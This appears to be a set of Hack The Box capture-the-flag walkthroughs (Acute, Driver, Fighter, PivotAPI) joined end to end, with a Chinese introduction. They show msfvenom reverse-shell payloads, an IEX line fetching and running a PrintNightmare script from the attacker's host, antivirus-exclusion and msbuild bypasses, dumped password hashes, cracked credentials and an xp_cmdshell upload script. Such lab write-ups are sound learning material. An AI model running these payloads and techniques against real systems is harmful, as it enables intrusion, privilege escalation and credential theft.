从文档元数据与默认口令进入 PowerShell Web Access,再跟踪会话配置、可修改脚本与用户切换。最终权限依赖站点管理员组的成员管理能力。
来源 acute · 原记录 2022-02-16 · 51 个代码块 · 6 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Windows Difficulty: Hard Points: 40 Release: 12 Feb 2022 IP: 10.10.11.145
Enumeration
NMAP
1 2 3 4 5
┌──(root💀kali)-[~/hackthebox/machine/acute] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.145 PORT STATE SERVICE VERSION 443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
We have only one TCP port and it gives us hostname. Let’s add it to our hosts file and access the web.
It looks like a healthcare website. Under ‘About Us’ you will get employee/user names as well as from right top corner you will get a document file ‘New Starter Forms’.
Download the document. It is a induction checklist for new employees.
From this document we will get couple crucial things.
1 2 3
IT overview
Arrange for the new starter to receive a demonstration on using IT tools which may include MUSE, myJob and Google accounts. Walk the new starter through the password change policy, they will need to change it from the default Password1!. Not all staff are changing these so please be sure to run through this.
The default password is Password1! and some staff members are still using the same password for their account. We have a PSWA (PowerShell WebAccess) session/configuration name dc_manage
1 2 3 4 5 6 7 8 9
Initial Probation Meeting (For Academic staff on Probation only)
Arrange initial probation meeting between Probationer, Head of Department and Probation Adviser.
Run through the new PSWA to highlight the restrictions set on the sessions named dc_manage.
The probation plan should be completed within a month of the start date and should include a requirement to register with LETs re: rate to gain within 3 months of starting. Fellowship of the Higher Education Academy (FHEA).
We also have link to PSWA https://atsserver.acute.local/Acute_Staff_Access
1 2 3 4 5
Induction meetings with management staff
Arrange for the new starter to meet with other staff in the department as appropriate. This could include the Head of Department and/or other members of the appointee’s team. Complete the https://atsserver.acute.local/Acute_Staff_Access training
Induction Coordinator
Now we can access the remote powershell via browser. Lastly, Lois user has highest privileges and she can change group membership of any user for group called site admin
1
**Lois is the only authorized personnel to change Group Membership, Contact Lois to have this approved and changed if required. Only Lois can become site admin. **
Now we have couple things in loot box, let’s access PSWA.
Se need username, password and computer name. So far we have employee names from website, we have default password. But we don’t have computer name.
If we run exiftool on this downloaded docx file, we will get remaining information.
┌──(root💀kali)-[~/hackthebox/machine/acute] └─# exiftool New_Starter_CheckList_v7.docx ExifTool Version Number : 12.39 File Name : New_Starter_CheckList_v7.docx Directory : . File Size : 34 KiB File Modification Date/Time : 2022:02:16 10:07:39-05:00 File Access Date/Time : 2022:02:16 10:09:02-05:00 File Inode Change Date/Time : 2022:02:16 10:08:07-05:00 File Permissions : -rw-r--r-- File Type : DOCX File Type Extension : docx MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document Zip Required Version : 20 Zip Bit Flag : 0x0006 Zip Compression : Deflated Zip Modify Date : 1980:01:01 00:00:00 Zip CRC : 0x079b7eb2 Zip Compressed Size : 428 Zip Uncompressed Size : 2527 Zip File Name : [Content_Types].xml Creator : FCastle Description : Created on Acute-PC01 Last Modified By : Daniel Revision Number : 8 Last Printed : 2021:01:04 15:54:00Z Create Date : 2021:12:08 14:21:00Z Modify Date : 2021:12:22 00:39:00Z Template : Normal.dotm Total Edit Time : 2.6 hours Pages : 3 Words : 886 Characters : 5055 Application : Microsoft Office Word Doc Security : None Lines : 42 Paragraphs : 11 Scale Crop : No Heading Pairs : Title, 1 Titles Of Parts : Company : University of Marvel Links Up To Date : No Characters With Spaces : 5930 Shared Doc : No Hyperlinks Changed : No App Version : 16.0000
From this metadata we got two things, computer name that is Acute-Pc01 from description and username format FCastle from Creator. Let’s login
As you can see, the IP address is different from machine IP. It looks like a container or virtual machine (hyper-v). We can ping the gateway IP address.
We can check foe open port on the gateway IP address.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
PS C:\Users\edavies\Documents>
Test-NetConnection 172.16.22.1 -port 445
ComputerName : 172.16.22.1
RemoteAddress : 172.16.22.1
RemotePort : 445
InterfaceAlias :
SourceAddress :
TcpTestSucceeded : True
As you can see, port 445 is open. We can run powershell script to get to know open ports on gateway IP address.
IEX will download and execute the script. If you try to download it and execute manually using curl or method then it will not work. Now run below command to start finding open ports on that IP address.
After couple minutes we can check the open ports dumped into that file.
1
Get-Content .\ports_open_gateway
Looks like this IP is Domain Controller, as it is running Kerberos and LDAP. Let’s get a real shell by uploading our reverse shell executable. If we try to run executable from either home directory or programdata, it gives us error message.
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/acute] └─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.30 LPORT=9001 -f exe -o reverse.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Saved as: reverse.exe
Antivirus is running, probably defender. So, we can query the registry to find whitelisted paths.
As you can see, there are two folders which are whitelisted. We can use ‘utils’ directory to execute our payloads. Let’s download our executable there and run it.
[*] Started reverse TCP handler on 10.10.14.30:9001 [*] Sending stage (200262 bytes) to 10.10.11.145 [*] Meterpreter session 1 opened (10.10.14.30:9001 -> 10.10.11.145:49778 ) at 2022-02-16 12:14:39 -0500
meterpreter > getuid Server username: ACUTE\edavies
Alright, we have working shell now. Let’s switch to powershell and enumerate.
1 2 3 4
PS C:\utils> net user edavies /domain The request will be processed at a domain controller for domain acute.local. System error 1722 has occurred. The RPC server is unavailable.
If we try to query the domain, we’d get this above error. So, we can’t query domain for anything. Let’s run ‘WinPeas’ application and find LPE paths.
1 2 3 4
RDP Sessions SessID pSessionName pUserName pDomainName State SourceIP 1 Console edavies ACUTE Active
WinPeas gives us this information. RDP session is running on the machine and logged in as ‘Edavies’ user. If it is RDP then its GUI not cmd line. We have to see what’s happening on the box.
We have access ‘edavies’ user. Now we can check what’s happening on that RDP.
It started streaming the GUI. We need to access it via browser by visiting that player path.
After waiting for couple minutes, a powershell window pops up and starts running powershell commands.
1
screenshare -q 100 -d 5000
As you can see based on executing commands, it is trying to start a new powershell session with an user (imonks) password and it is also using a configuration to access the session.
The above command is being executed. We could have used that password to login via RDP, but RDP is not enabled on main host (not hyper-v). We have to use this technique only.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
PS C:\utils> $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force PS C:\utils> $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $pass) PS C:\utils> Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage - credential $cred Enter-PSSession : The term 'Measure-Object' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Measure-Object:String) [Enter- PSSession], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
As you can see it is giving us the same error as RDP screenshot. It’s not able to find ‘Measure-Object’ cmdlet is not recognized by the powershell.
It is available to ‘Edavie’ user but not to ‘imonks’ user. However, the credentials are not wrong. We can try to invoke-command to execute windows commands.
User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 21/12/2021 14:51:31 Password expires Never Password changeable 22/12/2021 14:51:31 Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory Last logon 16/02/2022 17:47:45 Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users *Managers The command completed successfully.
‘imonks’ user is member of ‘Manger’ group. Let’s find who else is member of manager group.
User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 21/12/2021 14:50:36 Password expires Never Password changeable 22/12/2021 14:50:36 Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory Last logon 23/12/2021 09:15:29 Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users *Managers The command completed successfully.
User ‘awallace’ is member of manager group. To enumerate AD we need imonks shell access. We can’t execute any useful commands which can help to us to run our executable files.
If we execute this script, then it sets a secure password, and execute ‘Get-Volume’ from ‘jmorgan’ users context. We have to edit it script and modify the invoke command.
This command will replace the Get-Volume string with cmd.exe /c c:\utils\msf.exe We already have reverse.exe in utils directory. So upon execution we get the reverse connection on metasploit. Let’s read the contents of file to make sure our cmd is good to go.
Group Name Type SID Attributes ========================================== ================ ============ =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
‘jmorgan’ is member of Administrator. We can just elevate our privs to system.
1 2 3 4
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
We may have pwned the admin, but it is not the actual host, but Hyper-V. You can confirm by running ipconfig.
Started: Thu Feb 17 02:09:11 2022 Stopped: Thu Feb 17 02:09:32 2022
We got the password. For a hard machine this password is quite weak. I tried to use this password to get hold of ATSSERVER (host), but can’t able to do that. However, we still have access ‘edavies’ shell. We can try to run commands from a different users perspective. Previously we queried the domain to find member of manager group, there was one user awallace , let’s try to use this password from this users context.
Make sure you are running the next command from ‘edavies’ user shell.
It worked, now we can run commands from awallace user’s context. There’s nothing much available on user directory, however, previously we checked some weird directory in C drive, let’s see if we can access that with this users permission.
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
This looks like a schedule script, it runs this batch file every five minutes and checks for any .bat files in the parent directory and if there’s a .bat file then it executes it. The main thing/information is that the script is for only lois user and we already know that, lois is the only user who can change group membership. This is from DOCX file.
So, we can create a batch file which gives ‘awallace’ user administrator privileges of ‘site admin’ group.
OS: Windows Difficulty: Easy Points: 20 Release: 02 Oct 2021 IP: 10.10.11.106
Enumeration
Nmap
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/driver] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.106 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
web
we are greeted with a pop up for login and admin/admin got me it.
so over here it seems like we can upload a malicious firmware and get rev shell
so after looking for exploits I could not get any but the thing was, it was probably saving the files in the smb share of windows.
So here we are having remote file upload and we can then perform SMB Exploit via NTLM Capture
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [ON] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON]
by running winpeas, there is a system service running spoolsv which is print spooler service
exploit as we need local privilege escalation
CVE-2021-1675 - PrintNightmare LPE - PowerShell
Playing with PrintNightmare - 0xdf
Following the steps gives error that running scripts is disabled.
For this, getting a meterpreter shell too won’t work, you can import the module but you can’t then run Invoke-Nightmare. The shell will die.
workaround
spin a local web server and download it then and it will then import it automatically
1 2 3 4 5 6
*Evil-WinRM* PS C:\Users\tony\Desktop> IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.18/CVE-2021-1675.ps1') *Evil-WinRM* PS C:\Users\tony\Desktop> Invoke-Nightmare -NewUser "luci" -NewPassword "luci11" [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll [+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll" [+] added user luci as local administrator [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
Password: luci11 [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Target system bootKey: 0xe5b3cda034afd685bc69ccd3c4e9387c [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085::: luci:1004:aad3b435b51404eeaad3b435b51404ee:b7e822b81dec47522161ecad82d1aaef::: [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] DefaultPassword DRIVER\tony:liltony [*] DPAPI_SYSTEM dpapi_machinekey:0x68d8efd1bd3fa3ab206268f0bbc6e2a4a5e4b43e dpapi_userkey:0x68060403e8f0276a683ad704b45dc7b850d9722f [*] Cleaning up... [*] Stopping service RemoteRegistry [*] Restoring the disabled state for service RemoteRegistry
Summary of knowledge
SMB Penetration Testing Port 445
SMB - SCF File Attacks - NetNTLMv2 hash grab by using responder
ntlmv2 hash cracking using hashcat
evil-winrm shell usage
CVE-2021-1675 - PrintNightmare LPE - PowerShell
using secretsdump.py dumping administrator’s ntlm hash
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: StreetFighter Club Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
In the homepage, find the Domain name “streetfighterclub.htb”. add the domain to /etc/hosts file.
let’s look around, then find that there might be subdomains available that will give us more clues
intercept the request and send it to the intruder. We select where we want to brute force the request.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
GET / HTTP/1.1
Host: §1§.streetfighterclub.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
find that the web application is vulnerable to SQL injection in parameter “logintype=2”. We find username, password, and e-mail but were unable to login. So we tried command injection using SQL injection. We referred the following link.
root@kali:~/hackthebox/fighter# nc -lvp 80 listening on [any] 80 ... connect to [10.10.14.3] from streetfighterclub.htb [10.10.10.72] 49173 whoami fighter\sqlserv PS C:\Windows\system32>
We are not able to find anything on the target machine. So we try to convert our shell into meterpreter but are unable to run any exe file. So there was a firewall that didn’t allow us to run any exe file. We got a reference through this link on how to bypass this. We use the nps payload to create an XML file that will contain our payload (download from following)
Select payload: 1 Enter Your Local IP Address (None): 10.10.14.3 Enter the listener port (443): 443 [*] Generating PSH Payload... [*] Generating MSF Resource Script... [+] Metasploit resource script written to msbuild_nps.rc [+] Payload written to msbuild_nps.xml
1. Run "msfconsole -r msbuild_nps.rc" to start listener. 2. Choose a Deployment Option (a or b): - See README.md for more information. a. Local File Deployment: - %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml b. Remote File Deployment: - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml 3. Hack the Planet!!
We move into “c:\users\sqlserv” as we have a shell as user sqlserv.
run the command provided by npc payload to start our listener
meterpreter > sysinfo Computer : FIGHTER OS : Windows 2012 R2 (6.3 Build 9600). Architecture : x64 System Language : it_IT Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows
To convert 32-bit session into 64-bit session, we check the processes and find the 64-bit running process. We then migrate our process to a 64-bit process and get a 64-bit session.
1 2 3 4 5 6 7 8 9 10 11 12 13
meterpreter > ps 2920 1188 cmd.exe x64 0 FIGHTER\sqlserv C:\Windows\System32\cmd.exe meterpreter > migrate 2920 [*] Migrating from 1800 to 2920... [*] Migration completed successfully. meterpreter > sysinfo Computer : FIGHTER OS : Windows 2012 R2 (6.3 Build 9600). Architecture : x64 System Language : it_IT Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows
fantastic!!!
still don’t find anything to escalate our privilege. As this machine on street fighter game, we try to google street fighter exploit and find that street fighter 5 has privilege escalation vulnerability. We find that street fighter has a service called Capcom, so we check if street fighter 5 is installed on the target machine.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
meterpreter > shell Process 1044 created. Channel 2 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved.
We find this Metasploit exploit here, we try to run it but are unable to get a shell as it gave an error stating that the system was not vulnerable. So we make changes to the code and comment out the section where it checks the OS version.
c:\Users\decoder\Desktop>type user.txt type user.txt bb6163c184f203af2a31a9c035934297
we got user.txt
We move into c:\users\Administrator\Desktop and find a file called “root.exe”. We run it and find that it asks for a password. There is also a DLL file called “checkdll.dll”, as the password might be checked using this DLL file.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
c:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is BE85-B9AE
reverse engineer them using IDA and find that this program XOR’s 9 with each character of the variable aFmFeholH. Now analyzing with IDA tells us that the variable contains “FmfEhO1}h”.
┌──(root💀kali)-[~] └─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.240 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-14 15:22:56Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49673/tcp open unknown 49699/tcp open msrpc Microsoft Windows RPC 49824/tcp open msrpc Microsoft Windows RPC Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) $krb5asrep$23$Kaorz@LICORDEBELLOTA:eb29c5c46df33d07e2d227251bb18905$f3ec59e49c5a21b098153bf67756548491a8333d8680c27bd6f589e8801ec0c9c429e33646c9e2a4cf1bd716c67a2df12d531984a0cf6bf209c22eb84207fec76fe5dbe2358facd946d2db12a7baabf954ac8b431a11e5eee8edf410cd35bf7f47ca789af7c4baf91712f079143e148a1e30d873a2011df279d63ba9b53e331cc2c61c2a3b2d3e6ec036585b47808e3e557958ef6c2eb888037f0ddcef34a7346fc367f0b5dce1a890d09fbc584c1f84e75457a7f5a10b682e7443598a60d42b8495d231135a35a2438f58771d9c9c445a3e5793ebbdd722e221bd8e6eb59e341b34f34edf24c89a81e3d2735a9a54f91de2c87f [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
We got the hash of Kaorz user let’s try to crack this hash with john.
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/pivotapi] └─# john hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Roper4155 ($krb5asrep$23$Kaorz@LICORDEBELLOTA) 1g 0:00:00:12 DONE (2021-05-15 04:41) 0.08264g/s 881824p/s 881824c/s 881824C/s Rosesmlg1..Ronald8 Use the "--show" option to display all of the cracked passwords reliably Session completed
We have the username and a password Roper4155 let’s check the smb share if we have access of any shares.
Try "help" to get a list of possible commands. smb: \> ls . D 0 Sat Aug 8 05:42:28 2020 .. D 0 Sat Aug 8 05:42:28 2020 HelpDesk D 0 Sun Aug 9 10:40:36 2020
7779839 blocks of size 4096. 3497512 blocks available smb: \> cd HelpDesk smb: \HelpDesk\> ls . D 0 Sun Aug 9 10:40:36 2020 .. D 0 Sun Aug 9 10:40:36 2020 Restart-OracleService.exe A 1854976 Fri Feb 19 04:52:01 2021 Server MSSQL.msg A 24576 Sun Aug 9 06:04:14 2020 WinRM Service.msg A 26112 Sun Aug 9 06:42:20 2020
7779839 blocks of size 4096. 3497512 blocks available
We have three files in the HelpDesk Directory let’s get these all files into our system.
1 2 3 4 5 6 7 8 9 10
smb: \HelpDesk\> get Restart-OracleService.exe getting file \HelpDesk\Restart-OracleService.exe of size 1854976 as Restart-OracleService.exe (338.5 KiloBytes/sec) (average 338.5 KiloBytes/sec) smb: \HelpDesk\> get "Server MSSQL.msg" getting file \HelpDesk\Server MSSQL.msg of size 24576 as Server MSSQL.msg (67.6 KiloBytes/sec) (average 321.7 KiloBytes/sec) smb: \HelpDesk\> get "WinRM Service.msg" getting file \HelpDesk\WinRM Service.msg of size 26112 as WinRM Service.msg (71.8 KiloBytes/sec) (average 307.0 KiloBytes/sec) smb: \HelpDesk\> ^C ┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/HelpDesk] └──╼ [★]$ ls Restart-OracleService.exe 'Server MSSQL.msg''WinRM Service.msg'
Now for extracting the text inside .msg file we need msgconvert let’s first install that.
Date: Sun, 09 Aug 2020 11:04:14 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=16208820270.2cBBDf6.24456 Content-Transfer-Encoding: 7bit Subject: Server MSSQL To: cybervaca@licordebellota.htb <cybervaca@licordebellota.htb>
Good afternoon, Due to the problems caused by the Oracle database installed in 2010 in Windows, it has been decided to migrate to MSSQL at the beginning of 2020. Remember that there were problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to login to Oracle and restart the service. Any doubt do not hesitate to contact us. Greetings, The HelpDesk Team
WinRM Service.msg
1 2 3 4 5 6 7 8 9 10 11 12
Date: Sun, 09 Aug 2020 11:42:20 +0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=16208825850.f7f5B6.27939 Content-Transfer-Encoding: 7bit Subject: WinRM Service To: helpdesk@licordebellota.htb <helpdesk@licordebellota.htb>
Good afternoon. After the last pentest, we have decided to stop externally displaying WinRM's service. Several of our employees are the creators of Evil-WinRM so we do not want to expose this service... We have created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output (So that no shells of the type icmp are used.) Greetings, The HelpDesk Team
Now afer reading the both messages i known that Due to some problems by Oracle database installed in 2010 they migrate to MSSQL at the beginning of 2020.
And they also said that there was a problems at the time of restarting the Oracle service and for this reason a program called “Reset-Service.exe” was created to log in to Oracle and restart the service.
It’s mean that the “Reset-Service.exe” has creads for Oracle database becuase it’s need to login into oracle database and without creads it can’t be possible.
And the other message tell that they stop externally displaying WinRM’s service and they also created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output So that no shells of the type icmp are used.
Now let’s go to my Commando-VM and analize the binary.
I already transfer the binary into my Commando-VM.
First let’s monitor the binary with procmon so we known that what’s the binary doing.
If you analize the output you find that the binary create a file inside “AppData\Local\Temp" directory with the random name everytime and then it’s delete the bat file.
So for getting that random bat file we need to stop the binary before it’s delete that bat file So for that i use CMDWatcher.
CMD Watcher
Select the Interactive mode and then start the monitoring and then execute the binary.
Click resume the process.
You got the bat file location go to that location in your file manager.
Copy both file into your desktop in any folder.
I copy both files inside my desktop/files folder and then resume the process.
Now let’s analize the bat file.
Step 1
Remove all these if statement.
And add “goto correcto”.
Step 2
Now in bottom of the file remove these del statements.
After removing the del statements they look like this.
Now we good to go open a cmd and run that bat file to create the restart-service.exe.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
COMMANDO Fri 05/14/2021 7:41:07.78 C:\Users\DEDSEC\Desktop\files>dir Volume in drive C has no label. Volume Serial Number is 7EAC-CBDE
Directory of C:\Users\DEDSEC\Desktop\files
05/14/2021 07:25 AM <DIR> . 05/14/2021 07:25 AM <DIR> .. 05/14/2021 07:39 AM 1,729,970 542B.bat 05/14/2021 07:22 AM 0 542C.tmp 2 File(s) 1,729,970 bytes 2 Dir(s) 113,196,924,928 bytes free
Now let’s check if restart-service.exe is created or not.
And we got the restart-service.exe. I use API Monitor for analize this binary.
API Monitor
Check all API filters on the left side.
Now click on monitor new process and select the binary called restart-service.exe.
Now we capture all the proccess and calls so let’s analize this.
Found the username and password.
1 2
#Time of Day Thread Module API Return Value Error Duration CreateProcessWithLogonW ( "svc_oracle", "", "#oracle_s3rV1c3!2010", 0, NULL, ""c:\windows\system32\cmd.exe" /c sc.exe stop OracleServiceXE; sc.exe start OracleServiceXE", 0, NULL, "C:\ProgramData", 0x000000000234e120, 0x0000000003f61c68 ) FALSE 1326 = The user name or password is incorrect.
Now if you see nmap result there is a mssql port open let’s try to connect with that.
Password: [*] Encryption required, switching to TLS [-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Login failed for user 'svc_oracle'.
Login failed! it’s mean the username and password is not correct.
After that i read the Server MSSQL.msg again and i found that now they using mssql not oracle so we need to change the password from #oracle_s3rV1c3!2010 to #mssql_s3rV1c3!2020 because they migrate to MSSQL at the beginning of 2020.
And for the username i search on google for default mssql username and i found that.
So now the creads are sa:#mssql_s3rV1c3!2020 so now let’s try to login with these creads.
Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'. [*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands SQL> help
lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_start_job {cmd} - executes cmd using the sql server agent (blind) ! {cmd} - executes a local shell cmd SQL>
If we type help we can see that we can execute the xp_cmdshell {cmd} command let’s try that.
lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_start_job {cmd} - executes cmd using the sql server agent (blind) ! {cmd} - executes a local shell cmd SQL> xp_cmdshell whoami output
#!/usr/bin/env python3 from __future__ import print_function # Author: lUc1f3r11 # Use pymssql >= 1.0.3 (otherwise it doesn't work correctly) # To upload a file, type: UPLOAD local_path remote_path # e.g. UPLOAD myfile.txt C:\temp\myfile.txt # If you omit the remote_path it uploads the file on the current working folder. # Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512). import pymssql from pymssql import _mssql from pymssql import _pymssql import base64 import shlex import sys import tqdm import hashlib from io import open try: input = raw_input except NameError: pass from base64 import encodebytes
with open(local_path, 'rb') as f: data = f.read() md5sum = hashlib.md5(data).hexdigest() b64enc_data = b"".join(base64.b64encode(data).split()).decode()
print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB") for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"): cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"' mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'") #print("Remaining: "+str(len(b64enc_data)-i))
